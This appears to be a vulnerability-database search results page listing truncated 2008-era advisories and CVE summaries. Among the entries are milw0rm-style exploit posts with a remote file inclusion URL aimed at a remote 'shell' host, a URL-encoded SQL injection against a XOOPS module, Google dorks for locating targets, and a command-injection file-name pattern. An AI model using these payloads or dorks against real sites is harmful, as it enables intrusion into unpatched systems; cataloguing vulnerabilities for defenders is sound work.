5721 matches found
CA kmxfw.sys Code Execution and DoS Vulnerabilities
CA Products are prone to local code execution and denial of service DoS vulnerabilities. SPDX-FileCopyrightText: 2008 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only...
Low: Red Hat Security Advisory: Red Hat Network Satellite Server IBM Java Runtime security update
Red Hat Network Satellite Server version 5.1.1 is now available. This update includes fixes for a number of security issues in the Red Hat Network Satellite Server IBM Java Runtime Environment for IBM S/390 and IBM System z architectures. This update has been rated as having low security impact b...
Afuse afuse.c文件Shell命令注入漏洞
BUGTRAQ ID: 30245 CVECAN ID: CVE-2008-2232 Afuse是使用FUSE在用户域实现的自动加载文件系统。 Afuse没有正确地过滤文件名便将其用在了system调用中。如果能够读访问afuse文件系统的攻击者使用了类似于以下的路径的话： /path/";arbitrary command;" /path/arbitrary command 则从注册为Afuse加载的目录请求上述特制文件就会导致以提升的权限执行任意命令。 Jacob Bower Afuse 0.2 Debian ------...
S/Key和OPIE数据库漏洞
在使用S/Key或OPIE认证的服务器上存在一个安全漏洞。这个漏洞允许本地用户获得对S/Key或OPIE数据库的访问权。 S/Key是使用一次性口令技术的认证机制。系统管理员可以进行配置，使用户能够通过S/Key认证访问使用login8的任何服务，如Telnet和FTP。制定认证类型的配置文件是/etc/login.conf。 为了配置一个用户能够使用S/Key，管理员或该用户（如果程序是suid root）首先必须使用skeyinit（或keyinit）程序。这个程序初始化S/Key数据库（/etc/skeykeys）中的用户入口项。这个数据库文件包含输入S/Key口令时需要比较的信息...
CVE-2008-3068
Microsoft Crypto API 5.131.2600.2180 through 6.0, as used in Outlook, Windows Live Mail, and Office 2007, performs Certificate Revocation List CRL checks by using an arbitrary URL from a certificate embedded in a 1 S/MIME e-mail message or 2 signed document, which allows remote attackers to obtai...
CVE-2008-3068
Microsoft Crypto API 5.131.2600.2180 through 6.0 (used in Outlook, Windows Live Mail, and Office 2007) performs CRL checks by using an arbitrary URL from a certificate embedded in an S/MIME email or a signed document via the Authority Information Access (AIA) extension. This allows remote attacke...
CVE-2008-3068
Microsoft Crypto API 5.131.2600.2180 through 6.0, as used in Outlook, Windows Live Mail, and Office 2007, performs Certificate Revocation List CRL checks by using an arbitrary URL from a certificate embedded in a 1 S/MIME e-mail message or 2 signed document, which allows remote attackers to obtai...
Unauthorized reading confirmation from Outlook
I've just got an interesting idea about how a malicious e-mail sender could try to get a unseen by the recipient reading confirmation, including the IP address of the recipient. I was working on S/MIME messages and I thought about the signature validation process, where some of the steps could...
Unfixed XSS vulnerability at s-e-arch.com
Security researcher PaPPy, has submitted on 28/05/2008 a cross-site-scripting XSS vulnerability affecting s-e-arch.com, which at the time of submission ranked 1339718 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 08/06/2008. It is currently...
Debian: Security Advisory (DSA-1586-1)
The remote host is missing an update for the Debian SPDX-FileCopyrightText: 2008 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...
Memory corruption
Memory leak in Cisco Content Switching Module CSM 4.23 up to 4.28 and Cisco Content Switching Module with SSL CSM-S 2.12 up to 2.17 allows remote attackers to cause a denial of service memory consumption via TCP segments with an unspecified combination of TCP flags...
CVE-2008-1749
The CVE-2008-1749 issue affects Cisco Content Switching Module (CSM) and CSM-S when configured for layer 7 load balancing. A memory leak is triggered while processing TCP segments with a specific combination of TCP flags, causing memory consumption and potential denial of service as the servers b...
scorpnews-rfi.txt
/news/example.php example Exploit ; http://www.example.com/example.php?site=http://shell http://www.example.com/news/example.php?site=http://shell Greetz to; .:National Security Team:. www.crystal-war.6x.to...
ScorpNews 1.0 - site Remote File Inclusion
ScorpNews 1.0 - site Remote File Inclusion /news/example.php example Exploit ; http://www.example.com/example.php?site=http://shell http://www.example.com/news/example.php?site=http://shell Greetz to; .:National Security Team:. www.crystal-war.6x.to milw0rm.com 2008-05-04...
XOOPS Module Recipe (detail.php id) SQL Injection Vulnerability
No description provided by source. XOOPS Project-RecetteRecipe2.2 SQL Injection Vulnerability AUTHOR : S@BUN HOME : http://www.milw0rm.com/author/1334 MA脻L : [email protected] DORK 1 : allinurl :"modules/recipe" EXPLOIT :...
xoopsrecipe-sql.txt
XOOPS Project-RecetteRecipe2.2 SQL Injection Vulnerability AUTHOR : S@BUN HOME : http://www.milw0rm.com/author/1334 MAÝL : [email protected] DORK 1 : allinurl :"modules/recipe" EXPLOIT : modules/recipe/detail.php?id=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2...
XOOPS Module Recipe 2.2 - 'detail.php' SQL Injection
XOOPS Project-RecetteRecipe2.2 SQL Injection Vulnerability AUTHOR : S@BUN HOME : http://www.milw0rm.com/author/1334 MAÃL : [email protected] DORK 1 : allinurl :"modules/recipe" EXPLOIT : modules/recipe/detail.php?id=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2...
XOOPS Module Recipe 2.2 - detail.php SQL Injection
XOOPS Module Recipe 2.2 - detail.php SQL Injection XOOPS Project-RecetteRecipe2.2 SQL Injection Vulnerability AUTHOR : S@BUN HOME : http://www.milw0rm.com/author/1334 MAÃL : [email protected] DORK 1 : allinurl :"modules/recipe" EXPLOIT :...
Koobi Pro 6.25 poll Remote SQL Injection Vulnerability
Koobi Pro 6.25 poll Remote SQL Injection Vulnerability AUTHOR : S@BUN HOME : http://www.r57shell.in WEBSiTE: http://www.xcorpitx-hack.com/Forum/ BLOG : http://my.opera.com/SQL-Injection/blog/ MAiL : [email protected] DORK 1 : allinurl: "index.php?p=poll"showresult DORK 2 : allinur...